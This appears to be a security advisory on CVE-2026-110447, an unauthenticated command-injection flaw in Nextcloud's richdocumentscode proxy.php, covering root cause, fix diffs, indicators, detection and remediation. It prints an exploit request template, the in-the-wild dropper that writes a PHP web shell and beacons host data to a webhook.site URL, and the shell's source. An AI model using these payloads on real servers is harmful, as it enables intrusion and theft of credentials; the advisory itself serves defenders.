critical

CVE

CVE-2026-110447

CWE

CWE-78

Affected Surface

  • Nextcloud app `richdocumentscode` (Collabora Online Built-in CODE Server) versions `< 26.4.303` for `CVE-2026-110447`, with additional `proxy.php` lifecycle, PID, and disablement hardening in `26.4.402` and `26.4.502`
  • Self-hosted Nextcloud servers and containers with `richdocumentscode` installed on disk under `apps/richdocumentscode` or `custom_apps/richdocumentscode` (including instances where the app was disabled in the Nextcloud UI but not removed)
  • End-of-life Nextcloud 29 and older installations, where the Nextcloud App Store cannot serve `richdocumentscode >= 26.4.303`

TL;DR

On 23 October 2026, CISA added CVE-2026-110447 (CVSS v4.0 9.2 Critical, CWE-78) to its Known Exploited Vulnerabilities (KEV) catalog with a remediation deadline of 26 October 2026. The same day (15:15 UTC), Collabora released richdocumentscode 26.4.502 with a second round of hardening for the standalone proxy.php launcher script.

CVE-2026-110447 affects Collabora Online Built-in CODE Server (richdocumentscode < 26.4.303), the optional Nextcloud app that unpacks and runs a local Collabora_Online.AppImage (coolwsd) on the Nextcloud host itself. Because apps/richdocumentscode/proxy.php is a standalone PHP entrypoint served directly by the web server without loading Nextcloud’s authentication or routing stack, any unauthenticated request to /apps/richdocumentscode/proxy.php?status while coolwsd is stopped (for example after a reboot, container restart, upgrade, or daemon crash) calls startCoolwsd(). In versions up to 26.4.302, startCoolwsd() built a --o:remote_font_config.url= argument from $_SERVER['REQUEST_URI'], wrapped it in single quotes via escapeshellarg(), and then interpolated that single-quoted string inside a double-quoted bash -c "..." command passed to exec(). In /bin/sh, single quotes inside double quotes do not suppress $(...) command substitution.

Attackers have exploited this flaw in the wild since at least 10 September 2026 to write PHP web shells (shx*.php, shrf*.php) into apps/richdocumentscode/, exfiltrate uname -a beacons to webhook[.]site, read Nextcloud config.php database and mail credentials, and search the filesystem for *.kdbx, wallet.dat, keystore.json, Bitwarden, 1Password, and cryptocurrency wallet files.

What to do now:

  1. Upgrade richdocumentscode to 26.4.502 (or at minimum 26.4.303), or remove the app completely from disk (occ app:remove richdocumentscode). Merely disabling the app in Nextcloud on < 26.4.502 leaves proxy.php directly reachable over HTTP.
  2. On end-of-life Nextcloud 29 or older, which cannot install >= 26.4.303, remove richdocumentscode or upgrade Nextcloud to version 30+.
  3. Inspect apps/richdocumentscode/ and custom_apps/richdocumentscode/ for unexpected .php files (especially shx*.php and shrf*.php), because upgrading the app or running occ integrity:check-app after the fact does not undo secrets read by an earlier web shell.

Affected packages and projects

EcosystemPackage / componentCVESeverityAffected versionsFixed versionsNotes
Nextcloud App Store / GitHubrichdocumentscode (CollaboraOnline/richdocumentscode)CVE-2026-110447CVSS v4.0 9.2 Critical< 26.4.303 (confirmed exploited on 26.4.302)26.4.303 (initial escape fix), 26.4.402 (proc_open argv rewrite), 26.4.502 (23 Oct 2026 disablement & PID hardening)Requires Nextcloud 30+. Standalone Collabora Online (coolwsd) servers and the separate richdocuments (Nextcloud Office) connector app are not affected.

Technical analysis

1. Why escapeshellarg() failed inside startCoolwsd()

Unlike standard Nextcloud controllers, proxy.php at the root of apps/richdocumentscode/ runs without bootstrapping Nextcloud (OC). When a request arrives for proxy.php?status (or when fsockopen("localhost", 9983) fails with ECONNREFUSED), proxy.php checks whether coolwsd is running and, if not, calls startCoolwsd().

In richdocumentscode 26.4.302 (proxy.php lines 81-106 and 121), startCoolwsd() constructed the launch command as follows:

// proxy.php in richdocumentscode <= 26.4.302
$remoteFontConfig = "";
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
{
    $remoteFontConfigUrl = escapeshellarg(
        "https://" . $_SERVER['HTTP_HOST'] .
        preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI'])
    );
    $remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;
}
...
$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
...
exec($launchCmd, $output, $return);

Three behaviors combine to turn an unauthenticated GET request into shell execution:

  1. Path normalization vs. $_SERVER['REQUEST_URI']: When an attacker sends:
    GET /x$(echo${IFS}<base64>|base64${IFS}-d|sh)x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1
    the web server (Apache or nginx) resolves the /x...x/../ dot-segment and routes the request to /apps/richdocumentscode/proxy.php. However, PHP populates $_SERVER['REQUEST_URI'] with the raw, un-normalized request target. preg_replace("/richdocumentscode.*$/", ...) only replaces the suffix starting at richdocumentscode, leaving /x$(...)x/../ intact at the start of the path.
  2. Single quotes nested inside double quotes: escapeshellarg() wraps the URL in single quotes ('https://host/x$(...)x/../richdocuments/settings/fonts.json'). In a top-level shell command, single quotes prevent command substitution. Here, however, $remoteFontConfig is interpolated inside bash -c "( ... $remoteFontConfig ... )", where the entire bash -c script is enclosed in double quotes.
  3. Outer /bin/sh -c expansion before bash starts: PHP’s exec($launchCmd) passes $launchCmd to /bin/sh -c. Because the outer /bin/sh is parsing a double-quoted string ("( ... '--o:remote_font_config.url=https://.../x$(...)x/...' ... )"), the single quotes added by escapeshellarg() are treated as ordinary literal characters rather than quote delimiters. The outer /bin/sh immediately executes $(...) as the web server user (www-data, apache, or nginx) before bash or the AppImage is even invoked.

2. What the in-the-wild payload does

In the access logs reported in issue #354, the Base64-encoded command inside $(...) decodes to a two-part shell one-liner:

echo 'PD9waHAgJGM9JF9HRVRbJ2MnXT8/J2lkJzsgZWNobyBzaGVsbF9leGVjKCRjLicgMj4mMScpOw==' | base64 -d > shrf4645.php;
curl -skm 20 "https://webhook[.]site/45060ed4-de0b-4119-8f0d-2a2776bbd413/rf4645.$(uname -a|base64|tr -d '\n'|tr +/ -_|tr -d =)" \
  || wget -q --no-check-certificate -T 20 -O - "https://webhook[.]site/45060ed4-de0b-4119-8f0d-2a2776bbd413/rf4645.$(uname -a|base64|tr -d '\n'|tr +/ -_|tr -d =)" \
  || curl -m 20 "http://webhook[.]site/45060ed4-de0b-4119-8f0d-2a2776bbd413/rf4645.ping" #0

Because the working directory of proxy.php is apps/richdocumentscode/, the base64 -d > shrf4645.php redirect drops a 55-byte PHP web shell directly into the web-accessible app directory:

<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');

Once that file is on disk, the attacker no longer depends on coolwsd being stopped or on proxy.php. Subsequent requests hit /apps/richdocumentscode/shrf4645.php?c=... directly. According to the administrator reports in issue #354 and Italy’s CSIRT bulletin (BL02/261016/CSIRT-ITA), operators used the planted shells to read Nextcloud’s config/config.php (exposing database credentials, instanceid, passwordsalt, secret, and SMTP credentials) and to search the host for *.kdbx, wallet.dat, keystore.json, bitwarden, 1password, .bitcoin, .electrum, .monero, and .ethereum.

3. How the fix evolved across 26.4.303, 26.4.402, and 26.4.502

Collabora’s remediation landed in three stages:

  1. 26.4.303 (11 September 2026, commit 6cc8dae54c): Replaced the outer double quotes around the bash -c script with escapeshellarg($innerCmd):
    -    $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
    +    $innerCmd = "( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown";
    +    $launchCmd = "bash -c " . escapeshellarg($innerCmd);
    That stopped /bin/sh from expanding $(...) before bash ran, and inside bash -c, the inner single quotes from escapeshellarg($remoteFontConfigUrl) were once again real single quotes. However, because 26.4.303 still read $_SERVER['REQUEST_URI'], an exploit attempt against a patched 26.4.303 server while coolwsd was stopped still passed the attacker’s string as the literal --o:remote_font_config.url= argument visible in ps output.
  2. 26.4.402 (24 September 2026, commits 34cbae9d68 and 06dd6aa620): Switched from $_SERVER['REQUEST_URI'] to $_SERVER['SCRIPT_NAME'] and replaced exec($launchCmd) with an argv array passed to proc_open():
    $script = '( "$0" "$@" || "$0" --appimage-extract-and-run "$@" ) >/dev/null & disown';
    $launchCmd = array_merge(['bash', '-c', $script, $appImage], $options);
    $process = proc_open($launchCmd, $devNull, $pipes);
  3. 26.4.502 (23 October 2026, commits 813c17158b, 54e1e9c515, and c8aadbde2c): Eliminated request-header trust and closed the remaining operational footguns:
    • proxy.php no longer builds host or font URLs from incoming HTTP request headers at all; instead, Nextcloud writes validated settings to HostFile, and proxy.php refuses to start coolwsd until Nextcloud has written that file.
    • Disabling the app in Nextcloud (AppDisableEvent) now unlinks $dataDir/appdata_$instanceId/richdocumentscode/enabled, and proxy.php checks HostFile::isDisabled(), stops coolwsd, and returns HTTP 503.
    • coolwsd.pid and coolwsd.lock are moved out of world-writable /tmp into the private settings directory (HostFile::directory()), and isCoolwsdPid() verifies that /proc/$pid/comm is coolwsd before calling posix_kill().

IOCs

Defanged network and host indicators from confirmed incident reports:

TypeIndicatorContext
IPv4139.28.18[.]122Source of 10 and 11 September 2026 exploit requests against /apps/richdocumentscode/proxy.php?status
IPv489.38.98[.]50Source of 14 September 2026 exploit attempt logged in issue #354
URLhxxps://webhook[.]site/45060ed4-de0b-4119-8f0d-2a2776bbd413Callback endpoint receiving Base64-encoded uname -a output
URLhxxps://webhook[.]site/774cf5e1-b5a4-4174-a1ad-0241861029a2Second callback endpoint observed in exploit requests
File namesshrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php, shxf4645.php, shx13a86.php, shx56367.phpWeb shells dropped under apps/richdocumentscode/ or custom_apps/richdocumentscode/
SHA-2564b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');

Detection and remediation

1. Check for installed richdocumentscode, planted web shells, and access log hits

Run the following checks on every Nextcloud server and container image:

# 1. Check whether richdocumentscode is present on disk and inspect its version
find /var/www /var/snap/nextcloud /opt -path '*/richdocumentscode/appinfo/info.xml' \
  -exec grep -H '<version>' {} \; 2>/dev/null

# 2. List all PHP files inside richdocumentscode (legitimate releases only ship proxy.php at the root and files under lib/)
find /var/www /var/snap/nextcloud /opt -path '*/richdocumentscode/*.php' -ls 2>/dev/null

# 3. Hunt specifically for shx*.php / shrf*.php or shell_exec web shells across the Nextcloud tree
find /var/www /var/snap/nextcloud /opt \( -name 'shx*.php' -o -name 'shrf*.php' \) -ls 2>/dev/null
rg -n "shell_exec\\(\\\$c\\.' 2>&1'\\)" /var/www /var/snap/nextcloud 2>/dev/null

# 4. Run Nextcloud's built-in code integrity check
sudo -u www-data php occ integrity:check-app richdocumentscode

# 5. Search web server access logs (including rotated .gz logs) for proxy.php exploit markers or web shell hits
zgrep -E 'richdocumentscode/(proxy|shx|shrf).*\.php|(%2e%2e|\.\./).*richdocumentscode/proxy\.php|\$\(|%24%28|\$\{IFS\}|%24%7bifs%7d' \
  /var/log/nginx/*access* /var/log/apache2/*access* /var/log/httpd/*access* 2>/dev/null

2. Upgrade or remove richdocumentscode and rotate exposed secrets

  1. Upgrade to 26.4.502 or remove the app:
    # Upgrade to the latest patched release (26.4.502)
    sudo -u www-data php occ app:update richdocumentscode
    
    # Or remove the built-in CODE server app completely if not needed
    sudo -u www-data php occ app:remove richdocumentscode
    Remember that on < 26.4.502, occ app:disable richdocumentscode does not block direct HTTP requests to /apps/richdocumentscode/proxy.php.
  2. If a web shell or successful exploit request is found, treat the web server user as compromised:
    • Preserve forensic copies of any unexpected .php files and web/auth logs, then rebuild the host or container from a clean image.
    • Rotate every secret readable by the web server user in config/config.php, including dbpassword, mail_smtppassword, secret, passwordsalt, object-storage keys (arguments.key / secret), and user app passwords, and audit database and mail logs for unauthorized access.

Timeline

  • 2026-08-20: Collabora authors commit 6cc8dae54c (“tidy up how the coolwsd launch command is built”).
  • 2026-08-31: richdocumentscode 26.4.302 is released without commit 6cc8dae54c.
  • 2026-09-10 to 2026-09-11: Administrators log the first in-the-wild exploit requests against /apps/richdocumentscode/proxy.php?status from 139.28.18[.]122, dropping shrf4645.php and shxa35d0.php, and report the compromises in GitHub issue #354.
  • 2026-09-11: Collabora releases richdocumentscode 26.4.303 containing commit 6cc8dae54c.
  • 2026-09-24: Collabora releases richdocumentscode 26.4.402 with SCRIPT_NAME and proc_open() argv hardening (06dd6aa620).
  • 2026-10-14: CVE-2026-110447 is published to NVD and the GitHub Advisory Database.
  • 2026-10-16: Italy’s national CSIRT publishes bulletin BL02/261016/CSIRT-ITA detailing post-exploitation theft of Nextcloud configuration secrets.
  • 2026-10-23: CISA adds CVE-2026-110447 to the Known Exploited Vulnerabilities catalog (remediation due 26 October 2026), and Collabora releases richdocumentscode 26.4.502 with app-disablement, PID verification, and HostFile hardening.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Use AI-native static analysis to find similar application vulnerabilities and generate review-ready fixes.

References